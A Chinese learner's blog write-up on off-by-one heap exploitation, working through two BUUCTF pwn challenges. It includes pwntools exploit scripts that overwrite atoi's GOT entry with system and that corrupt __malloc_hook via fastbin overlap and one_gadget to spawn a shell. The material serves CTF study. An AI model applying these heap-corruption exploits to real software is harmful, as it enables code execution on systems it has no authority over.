关于 off-by-one 的学习

pwn的功底还很浅,仅仅是记录自己学习的一点心得体会。
后续随着学习深入,还会补知识点和题目上来。

知识点

优秀的学习资料

关于off by null的学习总结 | ZIKH26

Chunk Extend and Overlapping | ctfwiki

一点理解

与off-by-one联系很紧密的就是上面提到的 Chunk Extend and Overlapping
也就是常说的"造堆块重叠"。
为什么要造堆块重叠?
比如我们想要改写一个chunk的头部字段,也就是prev_size和size段,直接申请肯定是改不了的。
一种思路是构造错位的fake chunk,另一种更简单的思路就是造堆块重叠,通过修改size位,使得一个大的堆块的user data部分包括了我们想要修改的小堆块的header部分。

例题

[buu] hitcontraining_heapcreator

题目

我觉得这道题算是一个很好的了解off-by-one利用方式的一个例题。题目难度不大,利用点还是比较巧妙的。

反编译找漏洞点,
image
这里存在一个人为的off-by-one,而且这里可以多写一个字节。

回到题目的分配情况,image
先分配了一个size为0x10的chunk来存放一些信息,后面再为content分配了一个chunk
这里gdb调试看看就很清晰

比如我 add(0x28,‘0’),add(0x10,‘1’)后的堆块布局
image

可以看到我们每次add都会在低地址先malloc一个存放堆块信息的chunk,紧接着再malloc了一个存content的chunk。

然后注意到对于edit,show这些的操作都是通过堆块信息的结构体来"索引"的,那我们想要泄露libc就可以把堆块信息的这个chunk的 *content 字段修改为某个函数的got表的地址,比如这道题就用atoi,那么show的时候就会打印出atoi_addr了。

这就涉及到前面"一点理解"那里类似的情形,我们直接无法修改这个"存放堆块信息"的chunk的内容,所以可以比较巧妙的利用off-by-one来实现堆块的extend

比如我们这么修改一下,其实就能造成堆块的扩张和重叠
image

下面来讲下具体的利用。

  1. 首先我们要修改一个"存放堆块信息"堆块的size段。
    这步可以通过这个信息堆块上面的内容堆块的off-by-one漏洞实现。
  2. 然后我们free掉这个信息堆块对应的chunk的index
  3. 这时,根据delete_heap的实现
    image

信息堆块和内容堆块都会free,所以此时fastbins里面有0x20,0x40两个size的bin

image

  1. 此时我们add一个0x30的chunk,0x40的fastbin会被申请为内容堆块,而又会申请一个0x20的信息堆块,所以0x20的bin也会被申请回来。

image

  1. 这道题很关键的点是信息堆块决定了对应chunk的size以及内容!所以在上一步add(0x30)时就能覆写对应信息堆块的内容。这样就能把内容改为atoi的got表,show(1)就能泄露libc了。
  2. 由于已经改了chunk1的内容地址,那么edit(1)就能把atoi的got表的内容改为system了,再发送一个"/bin/sh\x00"就能getshell了。

当然还有些细节,比如最后提到的0x18,0x28的size选择,以及修改信息堆块内容是要预留size字段(不然最后edit没长度给你写)等等。

Exp:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'\x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/sh\x00")


p.interactive()

这道题其实还有个点很关键,也是我最开始比较疑惑的一个点。ZIKH师傅的EXP最开始的chunk0 add的是0x18,我自己实践改为0x10,0x20这些均不行,改为0x28却又可以。
调试发现,改为0x10,0x20这种的时候,我们的userdata是不会启用下一个chunk的prev_size的。
image

而分配0x18,0x28这种时,ptmalloc2的机制就会复用next_chunk的prev_size段
image

emmm,其实归根到底就是自己对堆还是不够熟悉。毕竟只看wiki的讲解,知识点那么多,细节点也很繁杂,很难记得住。当然,实战碰到过,自己调试看一遍再理解后就好多了。

[buu] roarctf_2019_easy_pwn

题目

题目漏洞点在这里,image

当a2-a1==10这个if里面,也就是edit输入的size比add的size刚好大10的时候,存在一个off-by-one。

大致分配结构
image

还是用bss段存了chunk的inuse和*content

我们还是可以通过off-by-one结合0x?8的size复用prev_size的特点来伪造prev_size和size触发前向(低地址)合并
image

此时再free(2)就可以看到触发合并了
image

这时,我们再add(0x80),再show(1),其实就能打印出 main_arena+88的值了
image

我的理解是:这里的add(0x80)就是把unsortedbin给切分了,使得fd指针(main_arena+88)移到了可show的chunk1 段。

至此就泄露了libc的基址
后面的操作感觉涉及到很多堆块的重叠,这里就逐步调试的看。
泄露libc时的堆布局
image

add(0x68)
image
(从unsortedbin切了一块)

free(1)
(fastbin 0x70)
image

edit(2,p64(malloc_hook-0x23))
(这里利用了上上步申请的0x68的chunk2和刚刚free的chunk1是重叠的(chunk1在最开始申请的))
image

add(0x68)
(申请回chunk1,实际也是chunk2)
image

add(0x68)
(申请回malloc_hook-0x23处的fake_chunk)
image

然后就是要用realloc调整栈帧,就能getshell了。

然后本地能打通,远程打不通。
看了看ZIKH师傅的Exp,需要把本地的
realloc = libcbase + libc.sym['realloc']改为realloc = libcbase + 0x846c0
然后还要改one_gadget的值
image

像这两个one_gadget有一个offset,目前不知道为什么,可能跟调整栈帧有关?(后面来学)

打本地Exp:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()

本地:
image

远程:
image


总结,难。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值